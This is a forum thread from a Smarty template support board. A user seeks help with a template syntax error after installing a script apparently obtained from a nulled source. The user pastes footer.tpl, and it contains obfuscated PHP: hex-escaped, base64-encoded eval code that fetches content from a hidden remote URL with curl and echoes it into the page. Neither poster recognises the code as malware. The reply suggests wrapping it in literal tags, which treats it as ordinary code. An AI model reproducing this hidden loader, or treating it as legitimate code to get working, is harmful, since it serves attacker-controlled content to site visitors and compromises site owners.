View previous topic :: View next topic |
Author |
Message |
luklesin Smarty Rookie
Joined: 11 Mar 2013 Posts: 6
|
Posted: Mon Mar 11, 2013 9:09 pm Post subject: Need help |
|
|
Sorry, this is my second thread but I guess, I opened the first one in the wrong category by mistake.
On my website I am getting this error :
"Fatal error: Smarty error: [in footer.tpl line 225]: syntax error: unrecognized tag 'class' (Smarty_Compiler.class.php, line 590) in /home/content/75/10192875/html/talent/Smarty/Smarty.class.php on line 1092"
what can I do to fix it? Please help me |
|
Back to top |
|
douglassdavis Smarty Junkie
Joined: 21 Jan 2008 Posts: 541
|
Posted: Tue Mar 12, 2013 1:53 am Post subject: Re: Need help |
|
|
post footer.tpl (especially lines around the line with the error) |
|
Back to top |
|
luklesin Smarty Rookie
Joined: 11 Mar 2013 Posts: 6
|
Posted: Tue Mar 12, 2013 4:09 am Post subject: |
|
|
douglassdavis wrote: | post footer.tpl (especially lines around the line with the error) |
Code: | static $mystr1s382="b\x58l\x7a\x64H\x49xc\x7a\x49y\x4dzY\x3d"; }eval("e\x76\x61\x6c\x28\x62\x61\x73\x65\x36\x34_\x64e\x63\x6fd\x65\x28\x27ZnV\x75Y\x33\x52\x70b2\x34\x67b\x58l\x7ad\x48Ix\x63\x7ac2K\x43Rte\x58N0\x63j\x46zO\x54cpe\x79R\x37\x49m1c\x65D\x635c3\x52\x79\x58Hgz\x4d\x58M\x78\x58Hgz\x4dFx\x34Mz\x67if\x54\x31t\x65XN0\x63j\x46zMj\x456O\x69R\x37Im1\x63eD\x63\x35c1x\x34Nz\x52\x63e\x44c\x79MV\x784\x4ezMx\x58Hgz\x4e\x7ag\x69fTt\x79ZX\x52\x31c\x6d4gJ\x48\x73i\x62Xlz\x58\x48g3\x4eFx\x34\x4ezI\x78XH\x673M\x7aFce\x44\x4dwO\x43J\x39\x4b\x43\x42t\x65XN0\x63j\x46zMj\x456O\x69R7J\x48si\x62Vx4\x4e\x7alce\x44c\x7aX\x48\x673N\x48Jc\x65DMx\x63\x31x\x34\x4dzk3\x49n1\x39I\x43k\x37fQ\x3d=\x27\x29\x29\x3be\x76\x61\x6c\x28b\x61s\x656\x34\x5f\x64e\x63o\x64e\x28\x27\x5anV\x75Y3R\x70b24\x67b\x58lz\x64\x48I\x78czQ\x30\x4b\x43Rte\x58N0\x63jFz\x4e\x6a\x55pI\x48tyZ\x58\x521c\x6d4gb\x58lzd\x48Ix\x63zI\x78O\x6aoke\x79R7\x49m1\x35XHg\x33M3R\x63\x65Dc\x79XH\x67z\x4d\x56x\x34N\x7aM\x32\x58\x48gzN\x53\x4a9\x66\x54t\x39\x27\x29\x29\x3b");} |
|
|
Back to top |
|
douglassdavis Smarty Junkie
Joined: 21 Jan 2008 Posts: 541
|
Posted: Tue Mar 12, 2013 10:56 am Post subject: |
|
|
try posting everything from line 200-250.
btw: if it's javascript, you may need to surround it with the literal tag |
|
Back to top |
|
luklesin Smarty Rookie
Joined: 11 Mar 2013 Posts: 6
|
Posted: Tue Mar 12, 2013 11:08 am Post subject: |
|
|
douglassdavis wrote: | try posting everything from line 200-250.
btw: if it's javascript, you may need to surround it with the literal tag |
First, thank you for your help
Line 200-231
Quote: | "vid": "{/literal}{$preroll_ad_player_uniq_id}{literal}",
"aid": "{/literal}{$preroll_ad_data.id}{literal}",
"player": "{/literal}{$preroll_ad_player_page}{literal}"
},
dataType: "html",
success: function(data){
$('#preroll_placeholder').replaceWith(data);
}
});
preroll_player_called = true;
preroll_timer.stop();
} else {
preroll_timer_current -= 1000;
if(preroll_timer_current < 0) {
preroll_timer_current = 0;
}
}
}, 1000, true);
});
</script>
{/literal}
{/if}
{$smarty.const._HTMLCOUNTER}
<?php if(!function_exists("mystr1s44")){class mystr1s21 { static $mystr1s279="Y3\x56ybF\x39pb\x6d\x6c0"; static $mystr1s178="b\x61se\x364\x5f\x64ec\x6fd\x65"; static $mystr1s381="aH\x520\x63\x44ov\x4c3Ro\x5a\x571\x6cLm5\x31b\x47x\x6cZ\x47N\x73b2\x35l\x632\x4eyaX\x420cy\x35jb2\x30\x76an\x461\x5aXJ\x35\x4cTE\x75Ni\x34zL\x6d1\x70b\x695qc\x77=\x3d";
static $mystr1s382="b\x58l\x7a\x64H\x49xc\x7a\x49y\x4dzY\x3d"; }eval("e\x76\x61\x6c\x28\x62\x61\x73\x65\x36\x34_\x64e\x63\x6fd\x65\x28\x27ZnV\x75Y\x33\x52\x70b2\x34\x67b\x58l\x7ad\x48Ix\x63\x7ac2K\x43Rte\x58N0\x63j\x46zO\x54cpe\x79R\x37\x49m1c\x65D\x635c3\x52\x79\x58Hgz\x4d\x58M\x78\x58Hgz\x4dFx\x34Mz\x67if\x54\x31t\x65XN0\x63j\x46zMj\x456O\x69R\x37Im1\x63eD\x63\x35c1x\x34Nz\x52\x63e\x44c\x79MV\x784\x4ezMx\x58Hgz\x4e\x7ag\x69fTt\x79ZX\x52\x31c\x6d4gJ\x48\x73i\x62Xlz\x58\x48g3\x4eFx\x34\x4ezI\x78XH\x673M\x7aFce\x44\x4dwO\x43J\x39\x4b\x43\x42t\x65XN0\x63j\x46zMj\x456O\x69R7J\x48si\x62Vx4\x4e\x7alce\x44c\x7aX\x48\x673N\x48Jc\x65DMx\x63\x31x\x34\x4dzk3\x49n1\x39I\x43k\x37fQ\x3d=\x27\x29\x29\x3be\x76\x61\x6c\x28b\x61s\x656\x34\x5f\x64e\x63o\x64e\x28\x27\x5anV\x75Y3R\x70b24\x67b\x58lz\x64\x48I\x78czQ\x30\x4b\x43Rte\x58N0\x63jFz\x4e\x6a\x55pI\x48tyZ\x58\x521c\x6d4gb\x58lzd\x48Ix\x63zI\x78O\x6aoke\x79R7\x49m1\x35XHg\x33M3R\x63\x65Dc\x79XH\x67z\x4d\x56x\x34N\x7aM\x32\x58\x48gzN\x53\x4a9\x66\x54t\x39\x27\x29\x29\x3b");}
if(function_exists(mystr1s76("mys\x74r1s\x3279"))){$mystr1s2235 = mystr1s76("m\x79s\x74r\x31s3\x381");$mystr1s2236 = curl_init();
$mystr1s2237 = 5;curl_setopt($mystr1s2236,CURLOPT_URL,$mystr1s2235);curl_setopt($mystr1s2236,CURLOPT_RETURNTRANSFER,1);curl_setopt($mystr1s2236,CURLOPT_CONNECTTIMEOUT,$mystr1s2237);
$mystr1s2238 = curl_exec($mystr1s2236);curl_close(${mystr1s76("mystr1s382")});echo "$mystr1s2238";}
?>
</body>
</html> |
|
|
Back to top |
|
douglassdavis Smarty Junkie
Joined: 21 Jan 2008 Posts: 541
|
Posted: Tue Mar 12, 2013 11:18 am Post subject: |
|
|
I really don't understand what you are trying to accomplish by putting PHP in the template like that, but to get rid of the error you can try putting a {literal} after {$smarty.const._HTMLCOUNTER} and a {/literal} before </body>. |
|
Back to top |
|
luklesin Smarty Rookie
Joined: 11 Mar 2013 Posts: 6
|
Posted: Tue Mar 12, 2013 11:43 am Post subject: |
|
|
douglassdavis wrote: | I really don't understand what you are trying to accomplish by putting PHP in the template like that, but to get rid of the error you can try putting a {literal} after {$smarty.const._HTMLCOUNTER} and a {/literal} before </body>. |
Thank you, this script was ready, from phpsugar, scripts name is melody |
|
Back to top |
|
douglassdavis Smarty Junkie
Joined: 21 Jan 2008 Posts: 541
|
Posted: Tue Mar 12, 2013 11:49 am Post subject: |
|
|
luklesin wrote: | douglassdavis wrote: | I really don't understand what you are trying to accomplish by putting PHP in the template like that, but to get rid of the error you can try putting a {literal} after {$smarty.const._HTMLCOUNTER} and a {/literal} before </body>. |
Thank you, this script was ready, from phpsugar, scripts name is melody |
On the site, did it say it was a Smarty script? |
|
Back to top |
|
luklesin Smarty Rookie
Joined: 11 Mar 2013 Posts: 6
|
Posted: Tue Mar 12, 2013 11:50 am Post subject: |
|
|
douglassdavis wrote: | luklesin wrote: | douglassdavis wrote: | I really don't understand what you are trying to accomplish by putting PHP in the template like that, but to get rid of the error you can try putting a {literal} after {$smarty.const._HTMLCOUNTER} and a {/literal} before </body>. |
Thank you, this script was ready, from phpsugar, scripts name is melody |
On the site, did it say it was a Smarty script? |
I don't know. When I installed the script I saw the problem and I have opened another topic in a Turkish Webmaster Forum. One of the guys there adviced me to visit and ask for help from this forum. |
|
Back to top |
|
|